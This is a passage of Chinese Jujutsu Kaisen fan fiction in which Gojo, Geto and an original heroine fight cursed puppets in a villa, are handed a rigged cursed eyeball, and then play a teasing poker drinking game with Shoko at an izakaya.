“你别装傻!”五条悟声音不由自主地抬高,反应过来之后又下意识地压低了声音,“就是……就是我们第一次见面的时候你说的……” 第一次见面的时候? 绿川纱夏眼中的疑惑更深,她思索片刻,将初遇时发生的事和说过的话在脑海里重新翻了一遍,才终于想起来他指的是什么,“你说的是我怎么知道你那里——” 话还没说完,就被一只温热的大手捂住了嘴巴,耳边传来五条悟咬牙切齿的声音,“想起来就好,没必要重复一遍了吧。” 绿川纱夏拍了拍覆在自己脸上的手,示意他拿开,然后耸了耸肩,“那个啊,其实是我瞎猜的。” 不过没想到还真被她误打误撞猜中了。 “什么??!” 五条悟的两只眼睛都瞪圆了,澄蓝的眼瞳里充满了不可思议,这么一看更像她领居家的那只布偶猫了。 五条悟气的想扭头就走,手臂却被人攫住,他下意识想收回手,却突然想到是绿川纱夏在抓他,莫名没有反抗,“又怎么了?” “你们是不是知道这块地方有问题?”绿川纱夏问,一开始哈里斯提到这里的时候,他们两个人目光闪烁,显然是知道点什么。 五条悟没想到她会在这个时候问,思索片刻,十分坦荡地回答,“是。” 这里远比他们一开始想的要危险,现在再瞒着她没有任何意义。 在绿川纱夏的眼神示意下,他接着往下说,“大约在二十年前,有两个诅咒师在这块地方进行了大规模的战斗,这一带的普通人都死于非命,因此产生了大量高等级的咒灵,据说没人知道那两个诅咒师最后怎么样了,而这一片也被人叫做诅咒之地。正常来说,不可能会有人住在这。” 所以他们在听到哈里斯说家在这的时候才会这么惊讶。 “那两个诅咒师是什么人知道吗?” 五条悟摇摇头,“很遗憾,没有人看到过他们两个人,包括两个诅咒师战斗的事都是根据那些居民的口供猜测的。” “这样子……那你们咒术师也挺没用的。”绿川纱夏随口说,毕竟死了这么多人都没救下来,最后连那两人的信息和下落都完全不清楚。 五条悟没好气地说,“你现在也是咒术师了,而且不是所有的咒术师都这么没用。” 比如他,如果当时他出生了,绝对不会以这么草率的结局收尾。 清楚自己想知道的事情,绿川纱夏径直打开门走了出去,“对了,夏油杰在哪间房?” “就是我们一开始去的那间。”五条悟跟在她身后,心情十分不美妙。 “什么??!” 这下轮到绿川纱夏眼睛瞪的像铜铃了,“他怎么会选哪间房?!” “有什么关系?”五条悟被她的反应吓了一跳。 “……我走之前发现角落的那个人偶眼珠动了。”绿川纱夏声音放的很轻,像是怕被别人听到。 在走出房间前,她又看了一眼那些木偶,那个金发女人的木偶一开始明明是直视前方的,而那时却已经斜着眼睛死死地注视着她。 她废了好大的力气才让自己没有尖叫出声,以免被贝拉察觉异样,在刚刚的时间里,她也并没有找到机会告知他们。 “靠!” 说起来隔壁确实有点过分安静了,杰他根本就不是什么安分守己的人啊! 他不会已经遭遇不测了吧! 五条悟脑海里已经自动浮现出一个夏油杰小人在黑暗的房间里东摸西找,不知不觉中一只木偶静悄悄地来到他身后,露出了一个瘆人的笑容,然后—— 他顿觉不妙,为了挽救挚友,他破门而入,冲进那间房间。 “杰!你没事吧?!” 夏油杰正在人偶面前仔细地观察着他们的模样,刚想伸手触摸的时候,门被暴力破开,五条悟闯了进来,看到他的动作,不假思索地将他拉到自己身后,抬起手对准了那群人偶。 夏油杰对这突如其来的举动不明所以,“怎么了?” 五条悟眼睛紧紧锁定在木偶身上,见它们依然乖巧地一动不动,也没有放下警惕,但也不好直说绿川纱夏遇到的事,只隐晦地说了一句,“小心这些人偶。” 夏油杰立刻懂了他的言下之意,只是面上依然装作若无其事,拍了拍他的肩膀,“哈哈,悟你也太大惊小怪了,你不会是害怕了吧?” 五条悟哼笑两声,眼神不自觉地朝左顾右盼的绿川纱夏飘去,“我想真正害怕的另有其人。” 绿川纱夏佯作没听懂他的暗指,提议道,“不如我们去找哈里斯吧,他应该恢复记忆了吧。” “有道理,不过我们该怎么找呢?我们连他在哪里都不知道,贸然出去的话容易引起注意。”夏油杰想了想说。 五条悟皱了下脸,歪歪脑袋,努力想办法。 从外面来看这栋房子应该是五层楼,他们现在在二楼,一楼一般是是餐厅和会客厅,哈里斯应该不太可能在一楼。 但剩下的四层里需要逐个房间进行排查,这里一定有能够抹除咒力或是遮住咒力的人,所以他的六眼连一丝咒力都看不到。 而且目前还不清楚那个叫莉莉安的女人的真正实力,能够轻易发现萤灵也能看出她的不简单,还有那个别墅的主人,虽然看起来很平易近人,但总给他一种诡异的感觉。 就当三人在苦思冥想之际,一道清脆的声音吸引了她们的注意。 “哐当。” 一把古朴的钥匙掉落在地上。 三人看着恰好躺在人偶身前的钥匙,顿时陷入了沉默。 他们要假装这一期都是巧合,然后乐呵呵地捡起这把钥匙吗。 这也太愚蠢了吧。 夏油杰默默在心里吐槽,怎么可能真的会有人上去啊—— “诶,这是哈里斯房门的钥匙吗?可是我们还不知道他的房间在哪呢。” 在另外两人的注视中,绿川纱夏真的这么做了,一脸淡定地将钥匙拎在手里。 房门缓缓打开,指引着她们向外走去,墙壁上刷的亮起了一排灯光,直指向尽头的那个房间。 真就这么直接吗? 夏油杰说不清楚自己的心里是该害怕还是好笑,虽然还没弄清楚为什么那些木偶会有意识,但她们似乎并没有伤害他们的意思。 也正是在这时,三人才有机会认真地观察这栋别墅的内部结构。 出人意料的,走廊上十分干净整洁,和外面的景色完全不同,地上铺满了暗红色的地毯,墙上也没有蛛网和掉落的痕迹,挂着一些标注了日期的手工画,绿川纱夏看了下,时间跨度很长,有几十年之久,而且很明显可以看出都来自不同作者。 一直走到尽头,绿川纱夏将钥匙插入门孔,轻轻地扭动了一下,门就开了。 她们一眼就看到了蜷缩在床上的哈里斯,他的脸庞一片苍白,眼里充满了恐惧与无措,循着推门声看去,身子还止不住地颤抖。 见到她们,他就好似见到了救星一般,连滚带爬地翻下了床,冰凉的手紧紧地握住了绿川纱夏的手,大颗大颗的眼泪从眼角溢出,眼里满是哀求,“求求你们,快带我离开这里吧,她,她们根本就不是人!”《 》 14、第十四章 她们……不是人? 他们见过的女性只有莉莉安和贝拉,哈里斯应该指的是她们,“不是人”是什么意思? 从他眼里的恐惧来看,一定不是出于愤怒的咒骂,而是事实。 难道是咒灵? 不,如果是咒灵,悟不可能看不出来。 但他前面也说这里可能存在消除或遮蔽咒力的人存在,有可能是某种特殊的咒力蒙蔽了他们。 夏油杰的脑子飞速运转,还不等他想出个所以然来,身后就传来了一道阴森的女声。 “三位客人真是不听话呀,怎么能不经过主人同意就是乱走呢。” 三人僵硬地扭过头,看到仍然是一袭黑衣的莉莉安就站在她们身后,脸上正挂着诡异的笑容。 而在她背后的那片黑暗中,出现了一个又一个人影,那各异的面庞,赫然就是她们之前见过的人偶,此时她们看上去已经和人类没有任何区别了。 也是在这时,五条悟终于能看到他们身上的咒力了。 “既然来了,就留在这儿吧。” “我们一直都觉得很孤独呢。”莉莉安身子一侧,她身后的人偶便纷纷涌了上来。 五条悟站在原地没动,观察着场上的局势,莉莉安似乎并不打算参战,抱臂站在后面冷眼观看,原本坐在床上的哈里斯不见了踪影,应该是找地方躲起来了。 夏油杰没有召唤出咒灵,而是抡了抡胳膊,看上去打算肉搏,毕竟这是她们的住所,弄坏了也麻烦。 至于绿川纱夏—— 一张扑克牌在她手中流畅地翻转,她薄荷色的眼睛巡视着整个房间,计算着该如何最快地解决人偶,似乎是察觉到什么,她扭头对上五条悟的视线,嘴角微微扬起,笑眼弯弯,“怎么了?” “没什么。”五条悟嘴角一抽。 自己就是多余担心她,她看起来就很有手段的样子。 人偶的手上抄着锋利的砍刀和斧头朝她们袭来,夏油杰从容地在他们之间左右穿梭,轻松地折去他们的手臂,不过这些人偶似乎并不会感到疼痛,只在关节碎裂的一瞬间停顿片刻,手臂以怪异的角度悬挂着,就继续不知疲倦地向前扑去。 绿川纱夏手中翻飞出一张又一张的扑克牌,她两指夹住扑克牌,利落地甩到人偶身上,他们的动作缓慢下来。 五条悟苍蓝的眼瞳散发着淡淡的光亮,清楚地看见咒力在人偶体内的流动,以及他们最薄弱的地方。 “眼睛是他们的弱点。”五条悟淡淡地提醒了一句。 另外两人都表示自己明白,却还是维持着之前那样柔和的攻击方式。 没过多久,人偶们就因为四肢关节受伤而倒在地上。 就当她们以为这场战争就这样结束了的时候,那些人偶的身上却突然迸发出一股更为强劲的咒力,四肢诡异地扭曲了两下,旋即暴起袭向她们三人。 不知道是不是莉莉安做了什么,人偶的防御能力大幅度提升,先前的攻击已经无法伤害到他们了。 数量呈压倒性优势的人偶可以说是将他们三人分别团团围住,眼里闪烁着诡异的红光,嘴角挂着奇怪的微笑,其中一只人偶径直上前靠近绿川纱夏,手里早已蓄势已久,见其站在原地不动,咆哮一声便冲了上去。 五条悟一直留心着她这边的情况,因她刚接触咒术且没有自己的术式,怕她招架不住,见状立马打算赶过去帮她。 绿川纱夏的表情还是那么平静,只是在人偶离她只剩下一米的距离时,手心突然飞出一张扑克牌,扑克牌骤然变大,上方的黑桃符号变化成一把锃亮的长剑,她轻松地握在手中,不带一丝犹豫地插入了人偶的眼睛。 下一秒,人偶的身躯瞬间化成一片片碎片,全落到了地上。 五条悟挑了下眉,这家伙居然在这么短的时间内觉醒了术式,而且看起来还不赖。 而另一边,人偶还没来得及对夏油杰做什么,他就直接用手摘出了他们的眼球,用手捏着对光认真看了一会儿,发现只是普通的材料制成的,就直接捏爆了。 看着屋内人偶数量不断减少,疑似他们的操控者莉莉安脸色一变,提起裙子向房门跑去。 “再动就杀了你哦~” 正当她准备拧动门把时,身后传来少年轻快的声音,但他身上散发出来的杀意却不容人忽视。 莉莉安慢慢转过身,表情冷峻,“你们想怎么样?” “阿勒?”五条悟歪了歪脑袋,“这话应该我们问你才对吧?明明我们什么也没干就开始攻击我们耶。” 莉莉安冷哼一声,“别装了,我知道你们是为了那件东西来的。” 那件东西? 三人的视线汇集在一起,都不知道她说的是什么。 五条悟顺着她的话往下接,眼睛眨巴眨巴,“既然你都知道了,就乖乖交出来吧,不然别怪我们对你不客气哦~” 完全是恶人发言来的啊。 绿川纱夏看着表情天真的少年,忍不住在心底感慨道。 莉莉安沉默半晌,面色不断变化,久到众人以为她不会屈服的时候,她突然开口了,“跟我来吧。” 三人跟在她身后,一直来到了三楼,莉莉安取下腰间的钥匙,打开了一扇房门。 在即将踏进房间前,五条悟朝一片黑暗的楼梯看了一眼。 一进到房间内,三人就感受到了强大的咒力,不约而同地提高了警惕,眼睛审视着整个房间。 莉莉安拿起书桌上的盒子,毫不犹豫地抛给了五条悟,冷冷地说,“拿到你们想要的东西就离开吧,这房子里没有其他值钱的东西了。” 这是一个从外面看上去很普通的木盒子,五条悟拿着它左右看了看,又晃了两下,没听到声音,就果断地打开了。 里面放着一个用画满咒符的绷带缠着的球形物体,那股邪秽之气让夏油杰和绿川纱夏都忍不住后退了一步,但五条悟却面色从容,手轻轻一扯就拉开了绷带。 三人终于得以看见那物体的全貌——一颗碧绿色的眼球。 五条悟用两指捏住眼球,放到自己面前仔细端详,“这是什么东西?” 莉莉安冰冷的面庞上划过一丝诧异,“你不知道这是什么?” 五条悟将眼球放在手中上下抛掷,就好似在抛苹果一样随意,“是啊,我们的目的从一开始就只是把哈里斯送回来而已,是你先攻击我们的。” 莉莉安好似全然没想到事情竟是如此,她也知道他们现在没必要骗她了,犹豫再三后,选择告诉他们真相,“这是特级咒物‘人偶师的眼睛’。” “……我的主人是人偶师,能够将咒力投注到人偶中,让那些人偶获得生命,他一直小心谨慎地活着,从不和人结怨。直到某一天,一个邪恶的诅咒师找上了他,并要求他用人偶去和咒术师战斗。” 莉莉安的脸上出现了一丝怨恨,“主人很善良,不愿意这么做,于是那名邪恶的诅咒师就试图终结他,独占这些人偶。” “他们打了很久,我也不知道具体过程,只知道最后主人受了重伤,而那名诅咒师不见踪影。而主人也失去了他的一只眼睛。” 传闻中的两名诅咒师的战斗,就是这样子吗? 绿川纱夏皱着眉头,总觉得她的话漏洞百出。 莉莉安深吸一口气,慢慢变得平静,“因为这是主人身体的一部分,所以这只眼睛能够操纵那些人偶,而很多听说过此事的人也都为了人偶的力量找上门来,我以为你们也是如此。” 听完她的话,每个人的脸上都出现了思索的表情,五条悟盯着那颗眼球看了一会,冷不丁地发问,“这栋房子里有能够消除咒力的诅咒师?” 在咒术师中没有这号人存在,那就只能是诅咒师。 “这个嘛,我也不太清楚……” “你的主人到现在都还不出现吗?”五条悟好似随口一提。 他的人偶都被击败了,重要的东西也即将被夺走,就算这样,也不露面吗? “主人他伤得很重,晚饭的时候也只是强撑一口气,怕被你们看出端倪。”莉莉安叹了口气,面色苍白而忧郁。 绿川纱夏挑了下眉,“能带我们见下他吗?” “不行。”莉莉安脱口而出,“他还太虚弱了,如果你们没有恶意的话,还请不要去打扰他了。” 话已至此,他们也不好再追下去。 “既然这样,这枚眼球我们要先带回去做研究。”夏油杰接过五条悟手里的盒子,肩上忽然出现了一只四眼猫,毫不客气地吞下了盒子,“如果确定没有问题的话,我们会物归原主的。” 莉莉安看上去不是很愿意,但也无可奈何,只能点了点头。 三人没有继续留在这的理由,便直接离开了。 “嗯——”刚走出别墅,夏油杰就伸了个大大的懒腰,“终于结束了啊——” “时间还不算太晚,我们去吃个饭吧。”五条悟提议道。 “这个点应该只有居酒屋还开着了。”夏油杰没有拒绝,“把硝子也叫上吧?” “可以。”五条悟掏出手机按了几下,像是突然想起什么一样看向绿川纱夏,“你去的吧?” 绿川纱夏耸耸肩,“我都可以。” “ok——那就朝着居酒屋前进!”五条悟兴奋地喊道。 夏油杰召唤出虹龙,轻轻一跃就站了上去。 五条悟正打算上去,突然觉得身后传来一道很强的窥视感,眼睛迅速朝后射去,只看到他们未曾涉足的第四层楼都拉着厚实的窗帘,其他的什么也没看到。 “悟,怎么了?” “没事。”五条悟道。 “走吧。” 而刚刚五条悟看过的那扇窗子后面,有两人在谈话,其中一个正是他们见过的凉暮月赌场老板志人。 “好险呢,差点就被他发现了~”志人嘴角噙着玩味的笑,一点也没有看出紧张感。 “不愧是六眼啊。”另一个短发女人说,她的额间横着一道长长的缝合线,她的眼神冰冷,没有一丝情绪。 “这些人也太好骗了吧,和他们玩完全没意思啊。”志人看似无奈地摊了摊手,十分随意地靠在沙发上。 短发女人淡淡地回复,“他们可不一定相信了。” “哦?”志人脸上的兴味渐浓,“最好是这样。” 他的五指上下摆动着,像弹钢琴一般轻快,诡异的是,刚刚还和三人交谈的莉莉安正一脸呆滞地站在他旁边,随着他五指的摆动而挥舞着四肢。 而三人晚饭还见过的这间屋子的“主人”,像是垃圾一般被随意地丢弃在角落,仔细看就会发现,和其他那些木偶并没有什么不同。 “要是他们这么轻易就相信了的话,我会觉得很无聊的哦~” “不过,他们就这么把那东西带在身上了。”志人忍不住笑出了声,“没想到你的计划实现的这么轻松。” “他们还是太年轻了,人们往往会相信自己‘找到的真相’。”短发女人嘴角微微勾起,“六眼虽然不一定相信刚刚的话,但他却很相信自己的实力,所以没有任何犹豫地收下了那个东西,我会让他知道傲慢的代价。” 真正的人偶师早就已经死了,这间屋子里的所有东西都在他的掌握之中。 而刚刚那个所谓的特级咒物,只是被他们动了手脚的人类眼球罢了,只要被他们带在身边,就可以看清他们的一举一动。 好了,让他好好看看他的命定宿敌都会做点什么事吧。《 》 15、第十五章 “咕噜咕噜——” 五条悟举起装满橙色果汁的加加加大号杯子一个劲地往里面灌,不知道过了多久,才终于满足地放下杯子,用手背擦了擦嘴,“哈——” 连旁边桌的客人都不禁频频为他侧目,没想到看着如此帅气的少男竟然能一口气喝下这么多果汁。 坐在他身边目睹这一切的绿川纱夏更是不可思议地看向他,“你是水牛来的吗?” 他一口气把她一周的进水量都灌进去了,这一大杯喝下去,走两步路肚子里的水也得跟着晃吧。 “噗——” 夏油杰本来在慢悠悠地喝水,被她这句话惊的一口喷出来,差点溅到坐在他对面的五条悟身上。 五条悟一边向旁边躲闪,一边嫌弃地看着他,“杰你好恶心。” “那还是比不上你这头水牛的。”夏油杰现学现用,笑眯眯地反唇相讥。 五条悟这个小炮仗当然忍不了一点,直接拍案而起,拽起他的衣服咬牙切齿地说,“你这家伙是不是想打架了。” “乐意至极。”夏油杰一点不怂,狭长的眼睛微抬,眼神里充满了挑衅。 眼看着两人都要打起来了,家入硝子不紧不慢地啜了一口啤酒,然后又优雅地夹了口菜,好似自己完全不认识那两只问题儿童。 绿川纱夏:“……” 绿川纱夏:“要不来壶清酒?” 这句话就好像把一块石子丢入了一潭死水中,骤然惊起了涟漪,家入硝子先是惊讶地瞧了她一眼,然后眼睛慢慢发出光亮,旋即以生怕她下一秒就会反悔的速度举起手,向服务员要了一壶清酒。 嗯,可以鉴定这丫头没遇到过好酒友。 视线扫过一旁还在掐架的问题儿童,绿川纱夏立马觉得可以理解了。 “噔——” 彩色玻璃酒盏碰撞发出清脆的声响,两个女生一口闷下,伴着下酒菜聊了起来。 可能是两人趣味相投,很快就打的火热,好比他乡遇故知,恨不得聊上一整晚还意犹未尽。 五条悟和夏油杰也默默停了下来,只是一味地夹菜,竖起耳朵听两个人都在说点什么。 “要不我们来玩点游戏吧?”绿川纱夏兴起提议道。 “玩什么?”五条悟一脸好奇。 绿川纱夏想了想,“德州.扑克会玩吗?” 意料之中的一个脑袋摇了摇头,五条悟左右翻看,发现只有自己一个人不会,有种自己身后空无一人的无力感,不可置信地指着自己的两个同期问,“你们两都会这玩意儿?” 家入硝子点点头,而夏油杰自然不会放过这个奚落他的好机会,狭长的眼睛微眯,紫色的眼眸里含着嘲讽,“我们又不是小孩子了,可不会像某人一样整天只知道打游戏——” 话音刚落,五条悟满脸怒容,又要暴起,坐在他身侧的绿川纱夏手急眼快地按住了他,难得语气轻柔,像哄小孩子似的,“没事没事,咱不着急啊,不会也很正常,我给你讲一下你就懂了。” 害,这种青春期的暴躁小男孩她最会对付了,那个银色章鱼头比他火气还大,她早已掌握把控之道。 可能是从来没受过她这样和颜悦色的对待,五条悟又惊又疑地看了她两眼,刚刚的怒气如潮水般消退,沉默半晌后,木木地点了点头。 在她简单地介绍完规则后,五条悟就一脸了解的样子,挽起袖子蓄势待发。 绿川纱夏不知道从哪里变出一副扑克,手指上下翩飞,一张张扑克牌在她手中飞舞,她笑眯眯道,“我们就不赌钱了,不过嘛,总要玩点什么才带劲,下注的时候就以几杯酒几杯酒跟,最后赢的人可以随意向一名输的人提问。” “那被问的人也可以说谎咯?”五条悟随口接道。 “当然。”绿川纱夏嘴角笑意渐浓,“答案的真假当然需要听者自己分辨。” 不管是什么时候,想要知道人们说的究竟是真心话还是谎言都需要凭借听者自己的判断。 “但是我一喝酒就会醉,如果我喝醉了的话你们也不好玩吧。”五条悟耸了耸肩,“我想用果汁代替酒。” 家入硝子没什么意见,夏油杰意味深长地看了他一眼,那眼神好像在说“小孩子就是小孩子”,绿川纱夏却说,“这样对你来说没有一点压力,游戏就不好玩了。” 五条悟挑了下眉,示意她往下说。 “不如这样,如果最后你是输的最多的人,你就要无条件答应赢的最多的人一个要求。”绿川纱夏笑意盈盈地说,全然没有恶意的模样。 家入硝子和夏油杰对视了一眼,都看出了对方眼中的了然,这位新同学肯定憋着坏要整五条悟呢。 五条悟满不在乎地答应了她,他不认为自己会成为今晚最大的输家。 “为了防止作弊,我们四人轮流来分牌和翻公共牌,我最先来。”她先进行几轮交叉洗牌,牌在她手里发出刷刷的响声,然后再按顺序一一分发底牌。 先将五张公共牌放在桌子中心,然后翻开其中三张,分别是黑桃j、红心q和红心a。 四人都先看过自己的底牌,绿川纱夏作为第一个人要强制下注,她沉吟片刻后,简单报了个数,“三杯。” 坐在她身旁的五条悟是第二个,不知道是他的牌好还是他比较自信,毫无心理压力地翻个了倍,“六杯。” 第三个是坐在五条悟对面的夏油杰,他淡定地报了个数,“九杯。” 在最后位置的家入硝子很想给前面的人一人一巴掌,还有两圈公共牌要翻,前面三人已经加到九杯了,她要么跟要么弃,就算弃的话这九杯也逃不掉了,要知道这还只是第一局,就算她酒量再好也经不起这么遭啊! 这局她的牌不好,即便还有两张公共牌没翻,她也果断地选择了弃注。 又回到绿川纱夏,先打开一张公共牌,是梅花9。 这轮她犹豫了一下,没有选择加注,“九杯。” 五条悟依然保持了上一轮自信的姿态,毫不犹豫地又加了三杯。 轮到夏油杰,他一脸无奈地举起双手,“我要弃了,你们两个疯子。” 光这十二杯干下去他已经要受不了了,后面还玩不玩了。 现在场上只剩下绿川纱夏和五条悟,一个是满面踌躇的绿川纱夏,另一个是毫不担心的五条悟,看上去结果已经很明显了。 再次翻开一张公共牌,这回依旧是一张黑桃j。 家入硝子和夏油杰边喝惩罚的酒边窝在一起观察着两人,偷偷说着悄悄话。 【你猜谁会赢?】家入硝子小声问道。 【这……不好说呀。】夏油杰的视线在他们两中间来回移动,【我赌一手悟吧。】 悟这家伙的情绪总是一目了然,看他这么自信,牌应该很不错吧? 【那我赌绿川。】家入硝子果断地说,【来点赌注。】 【你想赌什么?】 【输的人学狗叫两声。】 夏油杰猛地看她一眼,她还是一脸淡淡的,他又瞥了下五条悟胸有成竹的表情,决定相信一次自己的好兄弟。 【成交。】 绿川纱夏看上去脸色不太好,像是狠下心一般,“十三杯。” 五条悟依然十分嚣张,“十五杯。” 这时终于来到了结算的环节,五条悟摊开自己的两张底牌,分别是红心10和梅花k,正好连成一个顺子。 这已经算是比较少见的牌面了,大部分人常见的牌基本上只有一对或两对。 在三双眼睛的牢牢锁定下,绿川纱夏慢悠悠地掀开了自己的牌,两张红心a。 她的牌是葫芦,优先级大于五条悟的顺子。 这也意味着,是她赢了。 她似乎对自己会赢的结果并不意外,五条悟却用力地拍了下桌子,不可置信地指着她,“你这家伙,一直在演戏吗??” 不断假装犹豫和纠结,骗他相信自己手中的牌,不断加注,这个女人实在是太有心机了啊!! “怎么会?”绿川纱夏故作惊讶,一脸无辜地摊开手,“我是真的担心牌比不过你呀,我又不能预知你的牌。” 话虽是这么说没错,但五条悟总觉得她是故意的,一脸狐疑地盯着她,却也看不出什么所以然,只好认栽。 因为他的失败感到心痛的不止他一个,还有他的挚友夏油杰。 夏油杰现在心里可以说是十分有十二分的后悔,他怎么就被蒙蔽了一样选了五条悟呢,明明一看就知道五条悟是玩不过绿川纱夏的! 而作为优胜者的家入硝子已经不客气地拿手机对准了他,对着他粲然一笑,“你可以开始叫了,小狗。” 秉持着愿赌服输的游戏精神,在进行一番短暂的心理斗争后,夏油杰终于认命地喊了两声,“汪汪。” 这绝对可以称的上是他人生最耻辱的片刻之一,从今往后,他再也不会相信五条悟了!! 他再信五条悟他就真是狗!! 五条悟和绿川纱夏还不清楚他们两人之间的赌约,也并没有关注他们两个,五条悟现在满脑子都被眼前这个薄荷毛的少女占据了。 他心里的好胜心已经完全被她激起,只想着如何战胜她。 按照约定,绿川纱夏可以向五条悟问一个问题。 只见她低头思索片刻,镇定自若地开口,“你打**用的是左手还是右手?”《 》 16、第十六章 话音刚落,五条悟的脸就肉眼可见的涨红了,活像一颗番茄似的,他不可置信地看向绿川纱夏,没想到她居然会问出这么……这么……的问题。 “噗——” 夏油杰梅开二度,再次将刚含进去的酒一口喷出。 家入硝子喝酒的动作也不由自主地停了下来。 这次五条悟已经没心情和他计较拌嘴了,他向来引以为傲的脑子,此时正处于宕机的边缘。 “……右手。”五条悟咬牙切齿地回答道。 这种问题的话不管撒不撒谎都没有意义啊喂! 绿川纱夏平静地点了点头,表示自己了解了,好像刚刚她只是问了今天天气如何一样稀疏平常的问题。 五条悟将大容量杯子中的果汁倒入清酒杯中,再一口一口地灌着果汁,越想越气,自己绝对不能再输给这个猥琐的女人了!! 绿川纱夏抓住他抬头喝的间隙,眼疾手快地将手中的清酒倒入他的大容量装果汁中,然后再若无其事地给自己重新倒了一杯清酒,顺带假情假意地关心了五条悟一句,“小心喝太快呛到。” 下一秒就听到五条悟不停咳嗽的声音,“咳咳咳——” 这跟她应该没关系……吧? 她正打算浅抿一口清酒,一抬头就看到两双眼睛正齐刷刷地盯着自己,那眼中尽是了然与敬佩。 “哈啊——”五条悟一把将杯子砸到桌上,用手擦了下嘴角,眼里的胜负欲烧得愈来愈旺,“好了,再来!” 来到第二局,轮到坐在绿川纱夏旁边的五条悟发牌,他动作迅速流畅,只见他拿起自己的牌看了一眼,然后就一副淡定的模样端坐着。 哦?单纯热血少男也开始换路线了?改走心机深沉风了?绿川纱夏忍不住在心里笑了两下,面上却不动声色。 五条悟率先下注,“五杯。” 在他后位的夏油杰十分狐疑地瞧了他一眼,这小子这把牌又很好? 不过他回想了一下他上班拉垮的表现,又看了一眼自己的牌,心里多了几分把握,“十杯。” 三人都忍不住看了他一眼,特别是家入硝子,才第一轮,这两人就加到十杯了,这让她还怎么玩? 由于她的牌实在太烂,她果断地选择了弃注,在第一轮就遗憾退场。 开玩笑,这两人看起来都很有自信的样子,要是这两个家伙犟起来了,可就不是十几杯的事了。 出乎意料的,绿川纱夏紧随其后,面不改色地说自己也要弃注。 她其实也在心里纳闷,这两人真拿到这么好的牌了吗,一开局就喊这么大。 五条悟也就算了,夏油杰也跟着他闹,她这把牌并不好,没有跟到底的打算,不如早早退出,及时止损。 她们两人的退出让战场上只剩下五条悟和夏油杰两人,他们好似对自己的牌都很自信,丝毫没有退让的意思。 翻开一张公共牌,五条悟又看了眼自己的底牌,气定神闲地说,“十五杯。” 夏油杰表面笑眯眯,实则在心中暗骂他装什么呢,凭他的记忆怎么可能连两张牌都记不住,不就是故意做戏给自己看呢吗。 十五杯果汁对他来说当然不在话下,但他喝的可是清酒,就算度数没那么高,也抵不过它量大啊! 但他手上这副牌确实不错,要是就这么弃了他也不甘心,况且难保悟不是在虚张声势,不如赌一把。 赌局上最忌输了气势,五条悟都五杯五杯的加,夏油杰说少了在气势上就断了一截,所以他当然不能示弱,“二十杯。” 家入硝子听到这句话,忍不住捂了下脸,用看疯子的眼神看向他们两,在心里庆幸着自己的早早退出。 绿川纱夏也来了兴趣,很好奇最后到底是谁更胜一筹。 终于来到公布结果的时刻,五条悟率先掀开牌,加上公共牌,他刚好能组成四张一样的牌,也就是四条,这已经是除了同花顺之外最大的牌了,也难怪他这么自信。 这下,三人的目光齐刷刷地聚焦在夏油杰身上,只见他一脸错愕,显然是没想到五条悟的牌会是如此。 难道真是五条悟赢了? 家入硝子和绿川纱夏脑子里同时冒出这个念头。 五条悟的嘴角已经压抑不住,有些跃跃欲试地想看夏油杰的牌。 夏油杰也没留任何悬念,十分果断地翻开了自己的牌。 这下轮到另外三人惊讶了。 不怪夏油杰那副表情,原来他也是四条,也就是说,他们两打平了。 五条悟对这个结局有些遗憾,毕竟这种大牌不是什么时候都有的,甚至刚才他还想再叫大点,但怕吓退夏油杰,所以还是克制了自己。 不过这局算是他们两的胜利,他还是可以向绿川纱夏提问,将刚刚的仇报回来。 夏油杰选择向家入硝子提问,非常体贴地将向新同学提问的机会留给五条悟,想看看两个人之间还能出现什么有趣的走向。 “去年去箱根泡温泉的时候,是不是你和歌姬同伙偷偷把悟的衣服偷走了。” 两所高专偶尔也会组织一些集体活动以促进学生之间的交流与合作,去年就组织了一场温泉之旅。 当时五条悟这位财大气粗的阔少直接包下了整个温泉旅馆,所以他们去的都是私汤。 就在夏油杰安安静静地享受着温泉的惬意时,突然听到不远处爆发出一声咆哮,“谁***偷了老子的衣服!!!” 这声音他天天听,再熟悉不过了。 虽然到最后也没能找到真凶,但因为当时温泉旅馆里只有他们一行人,所以其实不难猜到。 家入硝子毫无心理负担地点点头,还冲五条悟笑了一下,“你的反应真的很有趣,你不知道我和歌姬废了好大的力气才憋住笑的。” 五条悟狠狠瞪了她一眼,不过比起去年的旧事,眼下他还有件更重要的事情,他都恨不得摩拳擦掌,立刻让看上去人淡如菊的绿川纱夏下不来台了。 “请问。”绿川纱夏看出他的迫不及待,十分礼貌地说。 “咳咳,呃……嗯……”五条悟清了下嗓子,尝试想出一个十分刁钻刻薄的问题,但很显然,他失败了。 最后,他决定以其人之道还治其人之身,用刚刚绿川纱夏问他的问题抛会给她,“你在……那什么的时候,用的是左手还是右手?” 很明显,五条悟并没有绿川纱夏那么厚的脸皮和强大的内心,这个问题的杀伤力远远不如之前。 不过他的眼里还是闪烁着一丝恶劣的笑意,期待着绿川纱夏也会和他一样不好意思,露出羞涩的姿态。 “这个啊,我一般用小玩具,用手的话还是有点累吧。”绿川纱夏非常坦荡。 “……” 现场莫名陷入了一阵的诡异的沉默,一时之间没人说话。 “诶?怎么都不说话了?”绿川纱夏歪了下脑袋,打趣道,“你不想问问我用的玩具是什么类型的吗?” 五条悟从来没有想到过一个女孩子居然能用这么轻快的口吻说出这些话,他现在被堵的哑口无言,只能忿忿地瞪她两眼。 绿川纱夏见他脸颊微微发红,忍不住笑了两声,“放心,你问了我也不会回答你的,那是第二个问题了。” 几乎是她话音刚落,五条悟立马面红耳赤地接上,“我不想问!!” 来到第三局,两位少男都严阵以待,两位少女则看上去没什么所谓。 夏油杰依然维持了上一轮的势头,一上来就叫了七杯。 这种叫法玩的就是一个心理,很容易吓退本来牌就不好、心理素质也不佳的人,不过很可惜,在他面前的都是一些艺高人胆大……以及无艺胆也大的人。 家入硝子也一反自己先前保守的态度,直接翻了个倍,“十四杯。” 紧接在家入硝子后面的绿川纱夏:“……” 你们这样搞她怎么玩? 她面无表情:“二十杯。” 不想好好玩是吧,那大家都不要玩好了。 五条悟:“……?” 他不知道是被她们这操作气笑了还是什么,身子往后一靠,摆烂了一样,“三十杯。” 这还只是第一轮,还有两张公共牌没翻。 很难想象,到最后会积累到一个怎样的惊人数字。 翻开一张公共牌。 四人的表情都还是一如既往的处变不惊,似乎都十分有把握的样子。 待这一圈结束,数字已经来到了四十五杯。 终于,翻开了最后一张公共牌。 四人的表情已经有些麻木,眼里慢慢失去了光芒,这张牌的出现已经不能惊起任何波澜了。 “……要不我们还是悠着点吧。”五条悟幽幽地提议道。 如果不像上一轮那样平局,那么在场起码有三个人要喝几十杯,尽管杯子很小,但一口气喝这么多,很容易喝吐,完全是亏损最大化的做法。 